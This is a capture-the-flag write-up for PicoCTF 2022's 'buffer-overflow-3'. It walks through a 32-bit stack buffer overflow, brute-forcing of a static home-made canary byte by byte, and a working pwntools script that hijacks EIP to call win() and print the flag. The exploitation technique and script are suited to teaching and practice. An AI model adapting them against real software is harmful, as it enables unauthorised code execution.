188 lines
6.1 KiB
Markdown
188 lines
6.1 KiB
Markdown
---
|
|
title: "PicoCTF 2022: buffer-overflow-3"
|
|
excerpt: "Bruteforcing a fake stack canary to exploit a buffer overflow in 32-bit x86"
|
|
tags: [ctf, pwn]
|
|
---
|
|
|
|
## Recon
|
|
|
|
Today's executable is a 32-bit binary:
|
|
|
|
```
|
|
$ file vuln
|
|
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=880ddfdc7ef13c4139ab8a80cc3d8225251a331f, for GNU/Linux 3.2.0, not stripped
|
|
```
|
|
|
|
Checking the enabled protections:
|
|
|
|
```
|
|
pwndbg> checksec
|
|
File: /home/qelal/PicoCTF/bo3/vuln
|
|
Arch: i386
|
|
RELRO: Partial RELRO
|
|
Stack: No canary found
|
|
NX: NX enabled
|
|
PIE: No PIE (0x8048000)
|
|
SHSTK: Enabled
|
|
IBT: Enabled
|
|
Stripped: No
|
|
```
|
|
|
|
Taking a look at the source code (some non-needed parts redacted):
|
|
|
|
```c
|
|
void win() { // reads the flag... }
|
|
|
|
char global_canary[CANARY_SIZE];
|
|
void read_canary() {
|
|
FILE *f = fopen("canary.txt","r");
|
|
if (f == NULL) {
|
|
printf("%s %s", "Please create 'canary.txt' in this directory with your",
|
|
"own debugging canary.\n");
|
|
fflush(stdout);
|
|
exit(0);
|
|
}
|
|
|
|
fread(global_canary,sizeof(char),CANARY_SIZE,f);
|
|
fclose(f);
|
|
}
|
|
|
|
void vuln(){
|
|
char canary[CANARY_SIZE];
|
|
char buf[BUFSIZE];
|
|
char length[BUFSIZE];
|
|
int count;
|
|
int x = 0;
|
|
memcpy(canary,global_canary,CANARY_SIZE);
|
|
printf("How Many Bytes will You Write Into the Buffer?\n> ");
|
|
while (x<BUFSIZE) {
|
|
read(0,length+x,1);
|
|
if (length[x]=='\n') break;
|
|
x++;
|
|
}
|
|
sscanf(length,"%d",&count);
|
|
|
|
printf("Input> ");
|
|
read(0,buf,count);
|
|
|
|
if (memcmp(canary,global_canary,CANARY_SIZE)) {
|
|
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
|
|
fflush(stdout);
|
|
exit(0);
|
|
}
|
|
printf("Ok... Now Where's the Flag?\n");
|
|
fflush(stdout);
|
|
}
|
|
|
|
int main(int argc, char **argv){
|
|
read_canary();
|
|
vuln();
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
As we can see, at some point the program reads for user input and asks how many bytes we want to write into the buffer. As the buffer is `BUFSIZE` or 64 bytes long, and as the `read` call follows our byte-count, this leads to an obvious buffer overflow.
|
|
|
|
The problem is that, this time, it won't be as easy to exploit, as the developer rolled his own stack canary system which we will have to bypass...
|
|
|
|
(Of course a better protection would simply be to enable regular canaries, but it was written like so for the purposes of the challenge.)
|
|
|
|
## Getting around the canary
|
|
|
|
Reading the source, we find that the canary is supplied in a `canary.txt` file and it is `CANARY_SIZE` or 4 bytes long. This is pretty short...
|
|
|
|
As it is supplied from a file, we can assume it does not change between executions. Terrible mistake because this opens a bruteforcing attack vector for us.
|
|
|
|
The bruteforcing attack will work as follows: first, we will inject padding corresponding to the offset to the canary (probably 64 bytes as the buffer is declared right next to our user input buffer in the source code, and it is a round number from a binary standpoint).
|
|
|
|
Then, we will inject a guess letter, thus overwriting the 1st byte of the canary with our guess. If it is right, then the program will continue normal execution. But if it is wrong, it will throw us a stack smashing error, like so:
|
|
|
|
```
|
|
$ ./vuln
|
|
How Many Bytes will You Write Into the Buffer?
|
|
> 100
|
|
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
***** Stack Smashing Detected ***** : Canary Value Corrupt!
|
|
```
|
|
|
|
From this change of behavior we can infer that the value we injected is correct, and we can move on to the 2nd position, repeating the same strategy, until we get all 4 bytes of the canary.
|
|
|
|
When we get the full canary, as it never changes, we can use it however we want, and trigger the `win()` function by overwriting the return address in EIP.
|
|
|
|
## Finding the EIP offset
|
|
|
|
However this time we cannot simply inject a cyclic pattern and watch the EIP position. We will have to inject some padding, then our canary, and only then the cyclic pattern. We'll add these lengths to what the cyclic tool finds as an offset.
|
|
|
|
```
|
|
pwndbg> cyclic -l eaaa
|
|
Finding cyclic pattern of 4 bytes: b'eaaa' (hex: 0x65616161)
|
|
Found at offset 16
|
|
```
|
|
|
|
We have 16 bytes from the end of our guessed canary, so `64 (padding) + 4 (canary) + 16 (cyclic)` gives us 84 bytes to EIP. (In fact we don't really need the total offset, knowing 16 was sufficient.)
|
|
|
|
## Finding win
|
|
|
|
This is not complicated at all, because the binary is not PIE, so a simple static analysis can be used to find the address we'll overwrite with:
|
|
|
|
```
|
|
$ objdump -t vuln | grep win
|
|
08049336 g F .text 000000b3 win
|
|
```
|
|
|
|
## Exploit
|
|
|
|
Knowing all this, we can now automate our canary bruteforcing and buffer overflow control flow hijack with a Pwntools script:
|
|
|
|
```python
|
|
offset = 64
|
|
charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
|
known = ""
|
|
|
|
# Step 1: bruteforce the canary
|
|
|
|
print("[+] bruteforcing stack canary...")
|
|
|
|
for index in range(1, 5):
|
|
for char in charset:
|
|
io = start()
|
|
curr_guess = known+char
|
|
io.sendlineafter(b'> ', str(offset+index).encode())
|
|
io.sendlineafter(b'Input>', offset*b'A' + curr_guess.encode())
|
|
if b'Stack' in io.recvall():
|
|
#print("Fuck, wrong one")
|
|
io.wait()
|
|
else:
|
|
print(f"[+] position {index} -> char '{char}'")
|
|
io.wait()
|
|
known += char
|
|
break
|
|
|
|
print("[+] canary seems to be: " + known)
|
|
|
|
# Step 2: find EIP offset (from canary)
|
|
|
|
eip_offset = 16
|
|
win_addr = p32(0x08049336)
|
|
|
|
# Step 3: use it in buffer overflow to trigger win()
|
|
|
|
io = start()
|
|
io.sendlineafter(b'> ', str(offset+4+eip_offset+4).encode())
|
|
io.sendlineafter(b'Input>', offset*b'A' + known.encode() + eip_offset*b'B' + win_addr)
|
|
|
|
io.recvall()
|
|
```
|
|
|
|
And as always, (after some time) we get the precious flag..
|
|
|
|
```
|
|
[+] Receiving all data: Done (71B)
|
|
[DEBUG] Received 0x46 bytes:
|
|
b"Ok... Now Where's the Flag?\n"
|
|
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}\n'
|
|
[*] Closed connection to saturn.picoctf.net port 50666
|
|
```
|
|
|
|
This one was pretty nice, however now I wonder what bypassing real stack canaries looks like...
|